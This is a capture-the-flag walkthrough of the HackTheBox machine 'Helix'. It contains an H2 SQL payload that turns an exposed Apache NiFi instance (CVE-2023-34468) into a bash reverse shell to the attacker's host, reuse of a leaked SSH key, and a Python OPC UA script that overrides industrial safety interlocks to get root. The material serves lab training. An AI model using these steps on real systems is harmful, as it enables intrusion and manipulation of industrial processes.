Helix Writeup - HackTheBox
Created May 10, 2026 • Last updated August 17, 2026 • 9 min read
1. Reconnaissance
Fast TCP Port Scan
Start with a fast scan to identify open ports quickly.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 18:45 +0500 Nmap scan report for $TARGET_IP Host is up (0.22s latency). Not shown: 986 closed tcp ports (reset), 12 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds
Two ports are open: SSH (22) and HTTP (80). Simple attack surface , let's dig deeper.
Service & Version Detection
Run a detailed scan with service detection and default scripts against the two open ports.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 18:46 +0500 Nmap scan report for $TARGET_IP Host is up (0.50s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA) |_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://helix.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The HTTP server redirects to http://helix.htb/ , this tells us the web app is using virtual hosting. We need to add this hostname to our /etc/hosts file to resolve it.
Add Hostnames to hosts
$TARGET_IP helix.htb
Now helix.htb resolves locally to the target IP. The site loads, but it appears largely static. Time to look for hidden virtual hosts.
2. Enumeration
Virtual Host (VHost) Fuzzing
Nginx uses the Host header to route requests to different applications. We fuzz for hidden subdomains using ffuf. The -fs 21543 flag filters out responses that match the default page size (baseline), and -fc 302 ignores redirects.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
:: Method : GET
:: URL : http://helix.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.helix.htb
:: Filter : Response status: 302
:: Filter : Response size: 21543
flow [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1321ms]
:: Progress: [4989/4989] :: Job [1/1] :: 96 req/sec :: Duration: [0:00:40] :: Errors: 0 ::
A subdomain flow is discovered. Add it to /etc/hosts.
$TARGET_IP flow.helix.htb
Browsing to Apache NiFi
Navigate to the discovered subdomain in your browser:
An Apache NiFi instance is running , completely exposed, no login required. NiFi is a powerful data flow automation tool that, when misconfigured with anonymous write access, is a direct path to RCE.
Verify Anonymous Write Permissions
Confirm that the anonymous user has write access by querying the NiFi API directly.
{
"identity": "anonymous",
"anonymous": true,
"controllerPermissions": {
"canRead": true,
"canWrite": true
}
}
canWrite: true for the anonymous user. This is the misconfiguration we'll exploit via CVE-2023-34468.
3. Initial Access , CVE-2023-34468 (Apache NiFi RCE)
What is CVE-2023-34468?
Apache NiFi 1.21.0 allows authenticated (or in this case, anonymous) users to configure database connection pools. The DBCPConnectionPool controller service can load the H2 in-memory database driver, which supports a RUNSCRIPT SQL command that fetches and executes arbitrary Java code , giving us full Remote Code Execution.
The exploit chain: DBCPConnectionPool (H2 driver) → ExecuteSQL processor → RUNSCRIPT FROM <our_server> → Java Runtime.exec() → Reverse shell
Create the Malicious SQL Payload
Create a file called rce.sql on your attacking machine. This payload defines a Java method that executes a shell command, then calls it with a bash reverse shell.
Paste the following content , replace <tun_ip> with your own VPN/tun0 IP:
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/<tun_ip>/5555 0>&1"')
Start HTTP Server and Netcat Listener
Open two separate terminals.
Terminal 1 , Serve the SQL payload:
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
Terminal 2 , Listen for the reverse shell:
listening on [any] 5555 ...
Configure NiFi: Add DBCPConnectionPool Controller Service
In your browser, navigate to http://flow.helix.htb/nifi/ and follow these steps:
Click the gear icon (⚙) in the top-right of the NiFi canvas (Operate panel).
Go to the Controller Services tab.
Click the
+button to add a new service.Search for and select
DBCPConnectionPool, then click Add.Click the pencil/edit icon next to the new service to configure it.
Go to the Properties tab and set the following values:
Property | Value |
|---|---|
Database Connection URL |
|
Database Driver Class Name |
|
Database Driver Location(s) |
|
Click Apply.
Click the lightning bolt icon (⚡) to enable the controller service. Confirm when prompted.
The H2 jar path /opt/nifi-1.21.0/lib/h2-2.1.214.jar is specific to this box. The path in the original CVE disclosure PDF is incorrect for Helix.
Configure NiFi: Add ExecuteSQL Processor
Back on the NiFi canvas:
Drag an
ExecuteSQLprocessor onto the canvas from the toolbar (the processor icon looks like a box with a gear).Double-click it (or right-click → Configure) to open the configuration dialog.
Go to the Relationships tab and set both
successandfailureto Terminate (check both boxes). This prevents NiFi from complaining about unconnected outputs.Go to the Properties tab and set:
Property | Value |
|---|---|
Database Connection Pooling Service |
|
SQL select query |
|
Click Apply.
Trigger the Exploit
Right-click the ExecuteSQL processor on the canvas.
Click Start.
Watch your terminals:
Terminal 1 (HTTP server) , NiFi fetches the payload:
$TARGET_IP - - [10/May/2026 19:04:23] "GET /rce.sql HTTP/1.1" 200 -
Terminal 2 (Netcat listener) , Reverse shell connects:
listening on [any] 5555 ... connect to [<tun_ip>] from (UNKNOWN) [$TARGET_IP] 36514 bash: cannot set terminal process group (973): Inappropriate ioctl for device bash: no job control in this shell nifi@helix:/opt/nifi-1.21.0$
We have a shell as the nifi service account. Now let's escalate to a real user.
4. Lateral Movement , SSH Key Discovery
Enumerate NiFi Support Bundles
NiFi stores diagnostic support bundles in a dedicated directory. Let's check if anything interesting was left there.
operator_id_ed25519.bak
A backup of an SSH private key for the operator user sitting in plain text inside NiFi's support directory. This is a serious misconfiguration.
Save the Key and SSH as operator
On your attacking machine, save the key to a file and lock down its permissions (SSH will refuse to use a key with loose permissions).
Now SSH into the target as operator:
The authenticity of host '$TARGET_IP ($TARGET_IP)' can't be established. ED25519 key fingerprint is: SHA256:nGwNnXA5oCIEMCxZ3joJWy3usUFUt70Wqy72RayvMNA Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '$TARGET_IP' (ED25519) to the list of known hosts. Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64) System load: 0.18 Users logged in: 0 Usage of /: 86.9% of 6.52GB Memory usage: 38% operator@helix:~$ cat user.txt
User flag obtained.
5. Privilege Escalation , OPC UA Abuse
Check Sudo Permissions
Matching Defaults entries for operator on helix:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
use_pty
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
We can run helix-maint-console as root with no password. Let's see what it does.
Inspect the Maintenance Console Script
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"
read_until() { cat "$FLAG" 2>/dev/null || true; }
window_ok() {
[ -f "$FLAG" ] || return 1
local until_ts now
until_ts="$(read_until)"
now="$(date +%s)"
[[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
[ "$now" -lt "$until_ts" ] || return 1
return 0
}
if ! window_ok; then
echo "Maintenance window CLOSED."
exit 1
fi
until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"
SCOPE="helix-maint-$$"
systemd-run --quiet --scope --unit="$SCOPE" \
--property=KillMode=control-group --property=SendSIGHUP=yes \
/bin/bash -p -i
exit 0
The script checks whether a maintenance window is currently active by reading a timestamp from /opt/helix/state/maintenance_window. If the current time is before that timestamp, it grants a root shell. We cannot write that file directly , something else must control it.
Discover Internal OT/ICS Services
Check what services are listening internally on the machine.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 511 0.0.0.0:80 0.0.0.0:* LISTEN 0 128 127.0.0.1:8081 0.0.0.0:* LISTEN 0 50 127.0.0.1:8080 0.0.0.0:* LISTEN 0 50 127.0.0.1:34911 0.0.0.0:* LISTEN 0 100 127.0.0.1:4840 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 50 [::ffff:127.0.0.1]:36917 *:*
Two interesting internal services:
Port 4840 , OPC UA (OPC Unified Architecture), an industrial IoT/ICS protocol
Port 8081 , HMI (Human-Machine Interface)
The OPC UA server is the mechanism controlling the maintenance window. We need to interact with it to trigger the right conditions.
Create an SSH Tunnel for OPC UA
OPC UA is only listening on 127.0.0.1:4840 on the target. We'll use SSH local port forwarding to bring that port to our attacking machine.
Open a new terminal on your attacking machine:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64) ... operator@helix:~$
Keep this terminal open. The tunnel maps localhost:4840 on your Kali machine to 127.0.0.1:4840 on the target. Leave this session running while you execute the exploit.
Install the Python OPC UA Library
On your attacking machine (in a separate terminal), install the asyncua library needed to communicate with OPC UA servers.
Create the OPC UA Exploit Script
Create a Python script that connects to the OPC UA server through our tunnel and manipulates the industrial process state to open the maintenance window.
#!/usr/bin/env python3
import asyncio
from asyncua import Client, ua
URL = "opc.tcp://127.0.0.1:4840/helix/"
async def main():
async with Client(url=URL) as c:
# Get the namespace index for the Helix OT namespace
ns = await c.get_namespace_index("urn:helix:ot")
# Helper to get a node by integer ID in our namespace
N = lambda i: c.get_node(f"ns={ns};i={i}")
# Map the relevant OPC UA nodes to variables
Mode, TestOv, Calib = N(12), N(13), N(6)
Temp, Press, Trip = N(4), N(5), N(10)
# Step 1: Switch the system mode to MAINTENANCE
await Mode.write_value(
ua.Variant("MAINTENANCE", ua.VariantType.String)
)
# Step 2: Enable the test override flag
await TestOv.write_value(
ua.Variant(True, ua.VariantType.Boolean)
)
# Step 3: Increment the calibration offset until temperature or
# pressure crosses the threshold that opens the maintenance window
for off in (12.0, 16.0, 20.0, 25.0, 30.0):
await Calib.write_value(
ua.Variant(off, ua.VariantType.Double)
)
await asyncio.sleep(1.5) # Wait for sensor values to update
t = await Temp.read_value()
p = await Press.read_value()
tr = await Trip.read_value()
print(f"calib={off}: T={t} P={p} Trip={tr}")
# Threshold: temp >= 295K or pressure >= 73 bar, with no trip active
if (t >= 295 or p >= 73) and not tr:
print("[+] Maintenance window should open")
break
asyncio.run(main())
What this script does:
Action | Node ID | Purpose |
|---|---|---|
Set Mode = |
| Puts the OT system into maintenance mode |
Set TestOverride = |
| Bypasses normal safety interlocks |
Increment Calibration offset |
| Artificially raises sensor readings |
Read Temperature |
| Monitor the current temp value |
Read Pressure |
| Monitor the current pressure value |
Read Trip status |
| Ensure the safety trip hasn't fired |
Run the Exploit
calib=12.0: T=296.0724950403895 P=69.03918615274698 Trip=False [+] Maintenance window should open
At calibration offset 12.0, the temperature (296 K) crosses the 295 K threshold while the trip remains inactive. The OPC UA server writes a future timestamp to /opt/helix/state/maintenance_window, opening the window.
Execute the Maintenance Console
Quickly switch back to your operator SSH session (not the tunnel terminal) and run the maintenance console before the window closes:
[+] Privileged maintenance access granted [!] Window expires in 85 seconds [!] Session will be terminated automatically root@helix:/home/operator#
We have a root shell! The script launched an interactive /bin/bash -p session running as root via systemd-run.